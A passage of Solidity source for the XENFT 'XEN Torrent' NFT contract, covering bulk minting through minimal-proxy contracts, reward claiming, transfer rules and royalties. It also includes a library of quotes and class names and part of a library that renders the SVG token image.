type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n require(_trustedForwarder == address(0), \"XENFT: Forwarder is already set\");\n _trustedForwarder = trustedForwarder;\n }\n\n // SUPPORT FOR ERC2981 ROYALTY INFO\n\n /**\n @dev Implements getting Royalty Info by supported operators. ROYALTY_BP is expressed in basis points\n */\n function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = _royaltyReceiver;\n royaltyAmount = (salePrice * ROYALTY_BP) / 10_000;\n }\n\n // XEN TORRENT PRIVATE / INTERNAL HELPERS\n\n /**\n @dev Sets specified XENFT as redeemed\n */\n function _setRedeemed(uint256 tokenId) private {\n mintInfo[tokenId] = mintInfo[tokenId] | uint256(1);\n }\n\n /**\n @dev Determines power group index for Collector Category\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev calculates Collector Class index\n */\n function _classIdx(uint256 count, uint256 term) private pure returns (uint256 index) {\n if (_powerGroup(count, term) > 7) return 7;\n return _powerGroup(count, term);\n }\n\n /**\n @dev internal helper to determine special class tier based on XEN to be burned\n */\n function _specialTier(uint256 burning) private view returns (uint256) {\n for (uint256 i = specialClassesBurnRates.length - 1; i > 0; i--) {\n if (specialClassesBurnRates[i] == 0) {\n return 0;\n }\n if (burning > specialClassesBurnRates[i] - 1) {\n return i;\n }\n }\n return 0;\n }\n\n /**\n @dev internal helper to collect params and encode MintInfo\n */\n function _mintInfo(\n address proxy,\n uint256 count,\n uint256 term,\n uint256 burning,\n uint256 tokenId\n ) private view returns (uint256) {\n bool apex = isApex(tokenId);\n uint256 _class = _classIdx(count, term);\n if (apex) _class = uint8(7 + _specialTier(burning)) | 0x80; // Apex Class\n if (burning > 0 && !apex) _class = uint8(8) | 0x40; // Limited Class\n (, , uint256 maturityTs, uint256 rank, uint256 amp, uint256 eaa) = xenCrypto.userMints(proxy);\n return MintInfo.encodeMintInfo(term, maturityTs, rank, amp, eaa, _class, false);\n }\n\n /**\n @dev internal torrent interface. initiates Bulk Mint (Torrent) Operation\n */\n function _bulkClaimRank(\n uint256 count,\n uint256 term,\n uint256 tokenId,\n uint256 burning\n ) private {\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n bytes memory callData = abi.encodeWithSignature(\"callClaimRank(uint256)\", term);\n address proxy;\n bool succeeded;\n for (uint256 i = 1; i < count + 1; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n assembly {\n proxy := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rank\");\n if (i == 1) {\n mintInfo[tokenId] = _mintInfo(proxy, count, term, burning, tokenId);\n }\n }\n vmuCount[tokenId] = count;\n }\n\n /**\n @dev internal helper to claim tokenId (limited / ordinary)\n */\n function _getTokenId(uint256 count, uint256 burning) private returns (uint256) {\n // burn possibility has already been verified\n uint256 tier = _specialTier(burning);\n if (tier == 1) {\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(block.timestamp < genesisTs + LIMITED_CATEGORY_TIME_THRESHOLD, \"XENFT: limited time expired\");\n return tokenIdCounter++;\n }\n if (tier > 1) {\n require(_msgSender() == tx.origin, \"XENFT: only EOA allowed for this category\");\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(specialClassesCounters[tier] < specialClassesTokenLimits[tier] + 1, \"XENFT: class sold out\");\n return specialClassesCounters[tier]++;\n }\n return tokenIdCounter++;\n }\n\n // PUBLIC GETTERS\n\n /**\n @dev public getter for tokens owned by address\n */\n function ownedTokens() external view returns (uint256[] memory) {\n return _ownedTokens[_msgSender()];\n }\n\n /**\n @dev determines if tokenId corresponds to Limited Category\n */\n function isApex(uint256 tokenId) public pure returns (bool apex) {\n apex = tokenId < COMMON_CATEGORY_COUNTER;\n }\n\n // PUBLIC TRANSACTIONAL INTERFACE\n\n /**\n @dev public XEN Torrent interface\n initiates Bulk Mint (Torrent) Operation (Common Category)\n */\n function bulkClaimRank(uint256 count, uint256 term) public notBeforeStart returns (uint256 tokenId) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n _tokenId = _getTokenId(count, 0);\n _bulkClaimRank(count, term, _tokenId, 0);\n _ownedTokens[_msgSender()].addItem(_tokenId);\n _safeMint(_msgSender(), _tokenId);\n emit StartTorrent(_msgSender(), count, term);\n tokenId = _tokenId;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev public torrent interface. initiates Bulk Mint (Torrent) Operation (Special Category)\n */\n function bulkClaimRankLimited(\n uint256 count,\n uint256 term,\n uint256 burning\n ) public notBeforeStart returns (uint256) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n require(burning > specialClassesBurnRates[1] - 1, \"XENFT: not enough burn amount\");\n uint256 balance = IERC20(xenCrypto).balanceOf(_msgSender());\n require(balance > burning - 1, \"XENFT: not enough XEN balance\");\n uint256 approved = IERC20(xenCrypto).allowance(_msgSender(), address(this));\n require(approved > burning - 1, \"XENFT: not enough XEN balance approved for burn\");\n _tokenId = _getTokenId(count, burning);\n _bulkClaimRank(count, term, _tokenId, burning);\n IBurnableToken(xenCrypto).burn(_msgSender(), burning);\n return _tokenId;\n }\n\n /**\n @dev public torrent interface. initiates Mint Reward claim and collection and terminates Torrent Operation\n */\n function bulkClaimMintReward(uint256 tokenId, address to) external notBeforeStart nonReentrant {\n require(ownerOf(tokenId) == _msgSender(), \"XENFT: Incorrect owner\");\n require(to != address(0), \"XENFT: Illegal address\");\n require(!mintInfo[tokenId].getRedeemed(), \"XENFT: Already redeemed\");\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n uint256 end = vmuCount[tokenId] + 1;\n bytes memory callData = abi.encodeWithSignature(\"callClaimMintReward(address)\", to);\n bytes memory callData1 = abi.encodeWithSignature(\"powerDown()\");\n for (uint256 i = 1; i < end; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n bool succeeded;\n bytes32 hash = keccak256(abi.encodePacked(hex\"ff\", address(this), salt, keccak256(bytecode)));\n address proxy = address(uint160(uint256(hash)));\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rewards\");\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData1, 0x20), mload(callData1), 0, 0)\n }\n require(succeeded, \"XENFT: Error while powering down\");\n }\n _setRedeemed(tokenId);\n emit EndTorrent(_msgSender(), tokenId, to);\n }\n}\n"
},
"/contracts/libs/StringData.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n/*\n Extra XEN quotes:\n\n \"When you realize nothing is lacking, the whole world belongs to you.\" - Lao Tzu\n \"Each morning, we are born again. What we do today is what matters most.\" - Buddha\n \"If you are depressed, you are living in the past.\" - Lao Tzu\n \"In true dialogue, both sides are willing to change.\" - Thich Nhat Hanh\n \"The spirit of the individual is determined by his domination thought habits.\" - Bruce Lee\n \"Be the path. Do not seek it.\" - Yara Tschallener\n \"Bow to no one but your own divinity.\" - Satya\n \"With insight there is hope for awareness, and with awareness there can be change.\" - Tom Kenyon\n \"The opposite of depression isn't happiness, it is purpose.\" - Derek Sivers\n \"If you can't, you must.\" - Tony Robbins\n “When you are grateful, fear disappears and abundance appears.” - Lao Tzu\n “It is in your moments of decision that your destiny is shaped.” - Tony Robbins\n \"Surmounting difficulty is the crucible that forms character.\" - Tony Robbins\n \"Three things cannot be long hidden: the sun, the moon, and the truth.\" - Buddha\n \"What you are is what you have been. What you’ll be is what you do now.\" - Buddha\n \"The best way to take care of our future is to take care of the present moment.\" - Thich Nhat Hanh\n*/\n\n/**\n @dev a library to supply a XEN string data based on params\n*/\nlibrary StringData {\n uint256 public constant QUOTES_COUNT = 12;\n uint256 public constant QUOTE_LENGTH = 66;\n bytes public constant QUOTES =\n bytes(\n '\"If you realize you have enough, you are truly rich.\" - Lao Tzu '\n '\"The real meditation is how you live your life.\" - Jon Kabat-Zinn '\n '\"To know that you do not know is the best.\" - Lao Tzu '\n '\"An over-sharpened sword cannot last long.\" - Lao Tzu '\n '\"When you accept yourself, the whole world accepts you.\" - Lao Tzu'\n '\"Music in the soul can be heard by the universe.\" - Lao Tzu '\n '\"As soon as you have made a thought, laugh at it.\" - Lao Tzu '\n '\"The further one goes, the less one knows.\" - Lao Tzu '\n '\"Stop thinking, and end your problems.\" - Lao Tzu '\n '\"Reliability is the foundation of commitment.\" - Unknown '\n '\"Your past does not equal your future.\" - Tony Robbins '\n '\"Be the path. Do not seek it.\" - Yara Tschallener '\n );\n uint256 public constant CLASSES_COUNT = 14;\n uint256 public constant CLASSES_NAME_LENGTH = 10;\n bytes public constant CLASSES =\n bytes(\n \"Ruby \"\n \"Opal \"\n \"Topaz \"\n \"Emerald \"\n \"Aquamarine\"\n \"Sapphire \"\n \"Amethyst \"\n \"Xenturion \"\n \"Limited \"\n \"Rare \"\n \"Epic \"\n \"Legendary \"\n \"Exotic \"\n \"Xunicorn \"\n );\n\n /**\n @dev Solidity doesn't yet support slicing of byte arrays anywhere outside of calldata,\n therefore we make a hack by supplying our local constant packed string array as calldata\n */\n function getQuote(bytes calldata quotes, uint256 index) external pure returns (string memory) {\n if (index > QUOTES_COUNT - 1) return string(quotes[0:QUOTE_LENGTH]);\n return string(quotes[index * QUOTE_LENGTH:(index + 1) * QUOTE_LENGTH]);\n }\n\n function getClassName(bytes calldata names, uint256 index) external pure returns (string memory) {\n if (index < CLASSES_COUNT) return string(names[index * CLASSES_NAME_LENGTH:(index + 1) * CLASSES_NAME_LENGTH]);\n return \"\";\n }\n}\n"
},
"/contracts/libs/SVG.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./DateTime.sol\";\nimport \"./StringData.sol\";\nimport \"./FormattedStrings.sol\";\n\n/*\n @dev Library to create SVG image for XENFT metadata\n @dependency depends on DataTime.sol and StringData.sol libraries\n */\nlibrary SVG {\n // Type to encode all data params for SVG image generation\n struct SvgParams {\n string symbol;\n address xenAddress;\n uint256 tokenId;\n uint256 term;\n uint256 rank;\n uint256 count;\n uint256 maturityTs;\n uint256 amp;\n uint256 eaa;\n uint256 xenBurned;\n bool redeemed;\n string series;\n }\n\n // Type to encode SVG gradient stop color on HSL color scale\n struct Color {\n uint256 h;\n uint256 s;\n uint256 l;\n uint256 a;\n uint256 off;\n }\n\n // Type to encode SVG gradient\n struct Gradient {\n Color[] colors;\n uint256 id;\n uint256[4] coords;\n }\n\n using DateTime for uint256;\n using Strings for uint256;\n using FormattedStrings for uint256;\n using Strings for address;\n\n string private constant _STYLE =\n \"<style> \"\n \".base {fill: #ededed;font-family:Montserrat,arial,sans-serif;font-size:30px;font-weight:400;} \"\n \".series {text-transform: uppercase} \"\n \".logo {font-size:200px;font-weight:100;} \"\n \".meta {font-size:12px;} \"\n \".small {font-size:8px;} \"\n \".burn {font-weight:500;font-size:16px;} }\"\n \"</style>\";\n\n string private constant _COLLECTOR =\n \"<g>\"\n \"<path \"\n 'stroke=\"#ededed\" '\n 'fill=\"none\" '\n 'transform=\"translate(265,418)\" '\n 'd=\"m 0 0 L -20 -30 L -12.5 -38.5 l 6.5 7 L 0 -38.5 L 6.56 -31.32 L 12.5 -38.5 L 20 -30 L 0 0 L -7.345 -29.955 L 0 -38.5 L 7.67 -30.04 L 0 0 Z M 0 0 L -20.055 -29.955 l 7.555 -8.545 l 24.965 -0.015 L 20 -30 L -20.055 -29.955\"/>'\n \"</g>\";\n\n string private constant _LIMITED =\n \"<g> \"\n '<path fill=\"#ededed\" '\n 'transform=\"scale(0.4) translate(600, 940)\" '\n 'd=\"M66,38.09q.06.9.18,1.71v.05c1,7.08,4.63,11.39,9.59,13.81,5.18,2.53,11.83,3.09,18.48,2.61,1.49-.11,3-.27,4.39-.47l1.59-.2c4.78-.61,11.47-1.48,13.35-5.06,1.16-2.2,1-5,0-8a38.85,38.85,0,0,0-6.89-11.73A32.24,32.24,0,0,0,95,21.46,21.2,21.2,0,0,0,82.3,20a23.53,23.53,0,0,0-12.75,7,15.66,15.66,0,0,0-2.35,3.46h0a20.83,20.83,0,0,0-1,2.83l-.06.2,0,.12A12,12,0,0,0,66,37.9l0,.19Zm26.9-3.63a5.51,5.51,0,0,1,2.53-4.39,14.19,14.19,0,0,0-5.77-.59h-.16l.06.51a5.57,5.57,0,0,0,2.89,4.22,4.92,4.92,0,0,0,.45.24ZM88.62,28l.94-.09a13.8,13.8,0,0,1,8,1.43,7.88,7.88,0,0,1,3.92,6.19l0,.43a.78.78,0,0,1-.66.84A19.23,19.23,0,0,1,98,37a12.92,12.92,0,0,1-6.31-1.44A7.08,7.08,0,0,1,88,30.23a10.85,10.85,0,0,1-.1-1.44.8.8,0,0,1,.69-.78ZM14.15,10c-.06-5.86,3.44-8.49,8-9.49C26.26-.44,31.24.16,34.73.7A111.14,111.14,0,0,1,56.55,6.4a130.26,130.26,0,0,1,22,10.8,26.25,26.25,0,0,1,3-.78,24.72,24.72,0,0,1,14.83,1.69,36,36,0,0,1,13.09,10.42,42.42,42.42,0,0,1,7.54,12.92c1.25,3.81,1.45,7.6-.23,10.79-2.77,5.25-10.56,6.27-16.12,7l-1.23.16a54.53,54.53,0,0,1-2.81,12.06A108.62,108.62,0,0,1,91.3,84v25.29a9.67,9.67,0,0,1,9.25,10.49c0,.41,0,.81,0,1.18a1.84,1.84,0,0,1-1.84,1.81H86.12a8.8,8.8,0,0,1-5.1-1.56,10.82,10.82,0,0,1-3.35-4,2.13,2.13,0,0,1-.2-.46L73.53,103q-2.73,2.13-5.76,4.16c-1.2.8-2.43,1.59-3.69,2.35l.6.16a8.28,8.28,0,0,1,5.07,4,15.38,15.38,0,0,1,1.71,7.11V121a1.83,1.83,0,0,1-1.83,1.83h-53c-2.58.09-4.47-.52-5.75-1.73A6.49,6.49,0,0,1,9.11,116v-11.2a42.61,42.61,0,0,1-6.34-11A38.79,38.79,0,0,1,1.11,70.29,37,37,0,0,1,13.6,50.54l.1-.09a41.08,41.08,0,0,1,11-6.38c7.39-2.9,17.93-2.77,26-2.68,5.21.06,9.34.11,10.19-.49a4.8,4.8,0,0,0,1-.91,5.11,5.11,0,0,0,.56-.84c0-.26,0-.52-.07-.78a16,16,0,0,1-.06-4.2,98.51,98.51,0,0,0-18.76-3.68c-7.48-.83-15.44-1.19-23.47-1.41l-1.35,0c-2.59,0-4.86,0-7.46-1.67A9,9,0,0,1,8,23.68a9.67,9.67,0,0,1-.91-5A10.91,10.91,0,0,1,8.49,14a8.74,8.74,0,0,1,3.37-3.29A8.2,8.2,0,0,1,14.15,10ZM69.14,22a54.75,54.75,0,0,1,4.94-3.24,124.88,124.88,0,0,0-18.8-9A106.89,106.89,0,0,0,34.17,4.31C31,3.81,26.44,3.25,22.89,4c-2.55.56-4.59,1.92-5,4.79a134.49,134.49,0,0,1,26.3,3.8,115.69,115.69,0,0,1,25,9.4ZM64,28.65c.21-.44.42-.86.66-1.28a15.26,15.26,0,0,1,1.73-2.47,146.24,146.24,0,0,0-14.92-6.2,97.69,97.69,0,0,0-15.34-4A123.57,123.57,0,0,0,21.07,13.2c-3.39-.08-6.3.08-7.47.72a5.21,5.21,0,0,0-2,1.94,7.3,7.3,0,0,0-1,3.12,6.1,6.1,0,0,0,.55,3.11,5.43,5.43,0,0,0,2,2.21c1.73,1.09,3.5,1.1,5.51,1.12h1.43c8.16.23,16.23.59,23.78,1.42a103.41,103.41,0,0,1,19.22,3.76,17.84,17.84,0,0,1,.85-2Zm-.76,15.06-.21.16c-1.82,1.3-6.48,1.24-12.35,1.17C42.91,45,32.79,44.83,26,47.47a37.41,37.41,0,0,0-10,5.81l-.1.08A33.44,33.44,0,0,0,4.66,71.17a35.14,35.14,0,0,0,1.5,21.32A39.47,39.47,0,0,0,12.35,103a1.82,1.82,0,0,1,.42,1.16v12a3.05,3.05,0,0,0,.68,2.37,4.28,4.28,0,0,0,3.16.73H67.68a10,10,0,0,0-1.11-3.69,4.7,4.7,0,0,0-2.87-2.32,15.08,15.08,0,0,0-4.4-.38h-26a1.83,1.83,0,0,1-.15-3.65c5.73-.72,10.35-2.74,13.57-6.25,3.06-3.34,4.91-8.1,5.33-14.45v-.13A18.88,18.88,0,0,0,46.35,75a20.22,20.22,0,0,0-7.41-4.42,23.54,23.54,0,0,0-8.52-1.25c-4.7.19-9.11,1.83-12,4.83a1.83,1.83,0,0,1-2.65-2.52c3.53-3.71,8.86-5.73,14.47-6a27.05,27.05,0,0,1,9.85,1.44,24,24,0,0,1,8.74,5.23,22.48,22.48,0,0,1,6.85,15.82v.08a2.17,2.17,0,0,1,0,.36c-.47,7.25-2.66,12.77-6.3,16.75a21.24,21.24,0,0,1-4.62,3.77H57.35q4.44-2.39,8.39-5c2.68-1.79,5.22-3.69,7.63-5.67a1.82,1.82,0,0,1,2.57.24,1.69,1.69,0,0,1,.35.66L81,115.62a7,7,0,0,0,2.16,2.62,5.06,5.06,0,0,0,3,.9H96.88a6.56,6.56,0,0,0-1.68-4.38,7.19,7.19,0,0,0-4.74-1.83c-.36,0-.69,0-1,0a1.83,1.83,0,0,1-1.83-1.83V83.6a1.75,1.75,0,0,1,.23-.88,105.11,105.11,0,0,0,5.34-12.46,52,52,0,0,0,2.55-10.44l-1.23.1c-7.23.52-14.52-.12-20.34-3A20,20,0,0,1,63.26,43.71Z\"/>'\n \"</g>\";\n\n string private constant _APEX =\n '<g transform=\"scale(0.5) translate(533, 790)\">'\n '<circle r=\"39\" stroke=\"#ededed\" fill=\"transparent\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"M0,38 a38,38 0 0 1 0,-76 a19,19 0 0 1 0,38 a19,19 0 0 0 0,38 z m -5 -57 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0 z\" '\n 'fill-rule=\"evenodd\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"m -5, 19 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0\"/>'\n \"</g>\";\n\n string private constant _LOGO =\n '<path fill=\"#ededed\" '\n 'd=\"M122.7,227.1 l-4.8,0l55.8,-74l0,3.2l-51.8,-69.2l5,0l48.8,65.4l-1.2,0l48.8,-65.4l4.8,0l-51.2,68.4l0,-1.6l55.2,73.2l-5,0l-52.8,-70.2l1.2,0l-52.8,70.2z\" '\n 'vector-effect=\"non-scaling-stroke\" />';\n\n /**\n @dev internal helper to create HSL-encoded color prop for SVG tags\n */\n function colorHSL(Color memory c) internal pure returns (bytes memory) {\n return abi.encodePacked(\"hsl(\", c.h.toString(), \", \", c.s.toString(), \"%, \", c.l.toString(), \"%)\");\n }\n\n /**\n @dev internal helper to create `stop` SVG tag\n */\n function colorStop(Color memory c) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n '<stop stop-color=\"',\n colorHSL(c),\n '\" stop-opacity=\"',\n c.a.toString(),\n '\" offset=\"',\n c.off.toString(),\n '%\"/>'\n );\n }\n\n /**\n @dev internal helper to encode position for `Gradient` SVG tag\n */\n function pos(uint256[4] memory coords) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n 'x1=\"',\n coords[0].toString(),\n '%\" '\n 'y1=\"',\n coords[1].toString(),\n '%\" '\n 'x2=\"',\n coords[2].toString(),\n '%\" '\n 'y2=\"',\n coords[3].toString(),\n '%\" '\n );\n }\n\n /**\n @dev internal helper to create `Gradient` SVG tag\n */\n function linearGradient(\n Color[] memory colors,\n uint256 id,\n uint256[4] memory coords\n ) internal pure returns (bytes memory) {\n string memory stops = \"\";\n for (uint256 i = 0; i < colors.length; i++) {\n if (colors[i].h != 0) {\n stops = string.concat(stops, string(colorStop(colors[i])));\n }\n }\n return\n abi.encodePacked(\n \"<linearGradient \",\n pos(coords),\n 'id=\"g',\n id.toString(),\n '\">',\n stops,\n \"</linearGradient>\"\n );\n }\n\n /**\n @dev internal helper to create `Defs` SVG tag\n */\n function defs(Gradient memory grad) internal pure returns (bytes memory) {\n return abi.encodePacked(\"<defs>\", linearGradient(grad.colors, 0, grad.coords), \"</defs>\");\n }\n\n /**\n @dev internal helper to create `Rect` SVG tag\n */\n function rect(uint256 id) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<rect \"\n 'width=\"100%\" '\n 'height=\"100%\" '\n 'fill=\"url(#g',\n id.toString(),\n ')\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n \"/>\"\n );\n }\n\n /**\n @dev internal helper to create border `Rect` SVG tag\n */\n function border() internal pure returns (string memory) {\n return\n \"<rect \"\n 'width=\"94%\" '\n 'height=\"96%\" '\n 'fill=\"transparent\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n 'x=\"3%\" '\n 'y=\"2%\" '\n 'stroke-dasharray=\"1,6\" '\n 'stroke=\"white\" '\n \"/>\";\n }\n\n /**\n @dev internal helper to create group `G` SVG tag\n */\n function g(uint256 gradientsCount) internal pure returns (bytes memory) {\n string memory background = \"\";\n for (uint256 i = 0; i < gradientsCount; i++) {\n background = string.concat(background, string(rect(i)));\n }\n return abi.encodePacked(\"<g>\", background, border(), \"</g>\");\n }\n\n /**\n @dev internal helper to create XEN logo line pattern with 2 SVG `lines`\n */\n function logo() internal pure returns (bytes memory) {\n return abi.encodePacked();\n }\n\n /**\n @dev internal helper to create `Text` SVG tag with XEN Crypto contract data\n */\n function contractData(string memory symbol, address xenAddress) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"5%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">',\n symbol,\n unicode\"・\",\n xenAddress.toHexString(),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to create cRank range string\n */\n function rankAndCount(uint256 rank, uint256 count) internal pure returns (bytes memory) {\n if (count == 1) return abi.encodePacked(rank.toString());\n return abi.encodePacked(rank.toString(), \"..\", (rank + count - 1).toString());\n }\n\n /**\n @dev internal helper to create 1st part of metadata section of SVG\n */\n function meta1(\n uint256 tokenId,\n uint256 count,\n uint256 eaa,\n string memory series,\n uint256 xenBurned\n ) internal pure returns (bytes memory) {\n bytes memory part1 = abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"50%\" '\n 'class=\"base \" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">'\n \"XEN CRYPTO\"\n \"</text>\"\n \"<text \"\n 'x=\"50%\" '\n 'y=\"56%\" '\n 'class=\"base burn\" '\n 'text-anchor=\"middle\" '\n 'dominant-baseline=\"middle\"> ',\n xenBurned > 0 ? string.concat((xenBurned / 10**18).toFormattedString(), \" X\") : \"\",\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"62%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\"> '\n \"#\",\n 